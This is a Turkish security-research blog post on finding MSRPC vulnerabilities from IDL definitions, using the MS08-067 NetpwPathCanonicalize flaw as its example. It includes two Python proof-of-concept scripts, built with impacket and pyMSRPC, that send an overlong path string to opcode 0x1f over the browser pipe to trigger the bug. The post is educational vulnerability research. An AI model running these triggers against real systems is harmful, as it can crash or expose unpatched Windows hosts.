mIDA Plugin

Görüldüğü gibi 0x1F opcode ‘ un adresi ile NetpwPathCanonicalize fonksiyonun çağrıldığı sub_fonksiyonun adresi aynı. Zafiyet , netapi!NetpwPathCanonicalize fonksiyonunda bulunmakta. Bu zafiyetin detaylarına değinmeyeceğim, detaylı bilgi referanstaki adreslerde bulunabilir. Hatta komple bu fonksiyonun decompile edilmiş versiyonuna Alexander Sotirov’un blogundan ulaşılabilir.

Güvenlik araştırmacıları IDL tanımlamalarına ulaştıktan sonra genelde her bir opcode’un parametrelerini “fuzz” ederek zafiyet bulmaya çalışırlar. Burada ilgileneceğimiz ve fuzz edebileceğimiz parametreler [in] olarak belirtilenler. [out] ile belirtilenler client’a dönen cevaplar. Opcode ile fonksiyona gönderilen bu parametreler çeşitli data tiplerinde olabilir.

Yukarıdaki opcode’un [in] parametrelerine bakarsak sırasıyla;

1-) Unique

2-) Widechar / unicode string

3-) Long

4-) Widechar / unicode string

5-) Long

6-) Long

impacket, CoreSecurity tarafından geliştirilmiş, RPC paketleri oluşturmak için güzel bir python kütüphanesi. Özellikle impacket içerisindeki Structure desteği ile ms08-067 ‘ yi tetiklemeye çalışmadan önce RPC testleri için kullandığım favori modüldü.  ms08-067 ‘ yi sadece impacket ile tetikleyemeyince, arka planda impacket’den de yararlanan ismi pek bilinmeyen üstad Cody Pierce ve Aaron Portnoy’un geliştirdiği pymsrpc modülünü keşfettim ve faydalı buldum.

Öncelikle impacket ile IDL yapısına bakarak istediğimiz bir opcode’a RPC isteği nasıl gönderilir anlatmak için, impacket ile oluşturduğum python kodunu paylaşmamın faydalı olacağını düşünüyorum.

[python]
import sys
import struct
from impacket.structure import Structure
from impacket import smb
from impacket import uuid

from impacket.dcerpc import dcerpc
from impacket.dcerpc import transport
from threading import Thread

target = sys.argv[1]
class ms08(Structure):   ###0x1f opcode parameters and types
alignment = 4

structure = (
(‘stub1′,    ‘w’),
(‘stub2′,    ‘w’),
(‘stub3′,    ‘<L=1′),
(‘stub4′,    ‘w’),
(‘stub5′,    ‘<L=1′),
(‘stub6′,    ‘<L=0′),
)

ndrstring = "\\A\\..\\..\\".encode(‘utf_16_le’)
ndrstring2 = ("A" * 500).encode(‘utf_16_le’)
stub2str = ndrstring + ndrstring2

query = ms08()

query[‘stub1′] = "A".encode(‘utf_16_le’)
query[‘stub2′] = stub2str
query[‘stub4′] = "".encode(‘utf_16_le’)

trans = transport.DCERPCTransportFactory(‘ncacn_np:%s[\\pipe\\browser]’ % target)
print "Connecting…"

try:
trans.connect()
except:
print "Connection fault"
exit()

print "Connected"

dce = trans.DCERPC_class(trans)
dce.bind(uuid.uuidtup_to_bin((‘4b324fc8-1670-01d3-1278-5a47bf6ee188′, ‘3.0’)))
dce.call(0x1f, query)   #NetPathCanonicalize func. opcode 0x1f</td>
[/python]

impacket ‘ in en güzel özelliği yukarıda görüldüğü gibi Structure yapısı ile parametleri tipine göre (string, long vb.) belirleyebilmek. Ancak dezavantajlarına gelince; Örneğin “ABC” gibi bir string, widechar/unicode olduğunda 410042004300 şeklinde gösterilir. Lakin impacket , structure’da data type “w” (widechar) olarak belirlense de otomatik olarak uygun formata dönüştürmüyor. Tabi yukarıda yaptığım gibi encode edip bir takla attırarak unicode formata çevirebilirsiniz.

Daha sonra impacket’in sunduğu fonksiyonlar ile bind etmek istediğiniz interface’in UUID ‘ sini vs.  belirleyip kolayca RPC isteğinizi gönderebilirsiniz.  Yine de yukarıdaki kod ms08-067 ‘ yi tetiklemede başarısız olacaktır.  Malesef impacket’in Structure class’ı içinde tanımlanmış data tiplerinde unique yok ve bizim 0x1f opcode ‘ unun ilk parametresi unique formatında. NDR formatında unique yapısına bakıp manuel eklemek için araştırmalar yaparken, biraz önce bahsettiğim pyMSRPC modülüyle karşılaşıp uğraşmama gerek kalmadığını gördüm.

[python]
import sysimport struct
from impacket.structure import Structure
from impacket import smb
from impacket import uuid
from impacket.dcerpc import dcerpc
from impacket.dcerpc import transport

sys.path.append("..")
from ndr import *

target = sys.argv[1] ## target ip
stub1 = ndr_unique(data=ndr_wstring(data="A"))
stub2 = ndr_wstring(data="\\A\\..\\..\\" + "A" * 500)
stub3 = ndr_long(data=1)
stub4 = ndr_wstring(data="")
stub5 = ndr_long(data=1)
stub6 = ndr_long(data=0)

marshallized = stub1.serialize()
marshallized += stub2.serialize()
marshallized += stub3.serialize()
marshallized += stub4.serialize()
marshallized += stub5.serialize()
marshallized += stub6.serialize()

trans = transport.DCERPCTransportFactory(‘ncacn_np:%s[\\pipe\\browser]’ % target)

print "Connecting…"

try:
trans.connect()
except:
print "Connection fault"
exit()
print "Connected, sending data!"
dce = trans.DCERPC_class(trans)
dce.bind(uuid.uuidtup_to_bin((‘4b324fc8-1670-01d3-1278-5a47bf6ee188′, ‘3.0’)))
dce.call(0x1f, marshallized)   #NetPathCanonicalize opcode

[/python]

Görüldüğü gibi pyMSRPC modülü , hem unique tipini desteklediği gibi hem de parametrelerin/dataların marshalling işlemini (kabaca NDR formatına dönüştürmeyi) ,  serialize() fonksiyonunu çağırarak kolayca yapabiliyorsunuz. Yukarıdaki PoC kodumuzu ms08-067 zafiyeti olan bir sistemde deneyerek , zafiyeti tetikleyebilirsiniz.

Yazıda kısaca RPC modeli ve IDL yapısına değinildiği gibi  çeşitli python modülleri RPC isteklerinin nasıl gönderileceği anlatılmıştır.  RPC zafiyetlerinin keşfi için mIDA ile örnekte gösterildiği gibi çeşitli RPC uygulamalarının IDL yapıları tespit edilerek ,  her bir opcode’un argümanları “fuzz”  edilebilir.

” The most common question I get about the MSRPC fuzzer “does it find any new bugs” and I guess the answer is  No.  There are no new MSRPC bugs. You should give up looking for them.”  – Dave Aitel, 31 Agustos 2006:

Dave Aitel , yukarıdaki cümleyi kurduktan 4 yıl sonra bile MSRPC zafiyetleri keşfedilmiştir. Örn; CVE-2010-2567

Belki 2014 yılında MSRPC ‘ de olmasa da RPC protokolünü kullanan bir çok yazılımda hala çeşitli zero-day zafiyetleri bu şekilde keşfedilebilir.

Daily Dave, MSRPC Fuzzing : http://seclists.org/dailydave/2006/q3/160

Marshalling Tutorial, Mike Hearn: http://www.winehq.org/pipermail/wine-devel/2004-July/028054.html

impacket, CoreLabs: http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=tool&name=Impacket

pyMSRPC:  https://code.google.com/p/pymsrpc/

Reversing MS08-67: http://dontstuffbeansupyournose.com/2008/10/23/looking-at-ms08-067/

- Zafiyet Araştırma ve Exploit Geliştirme

- Malware Analiz

http://www.signalsec.com/blog/services/bilgi-guvenligi-egitimleri/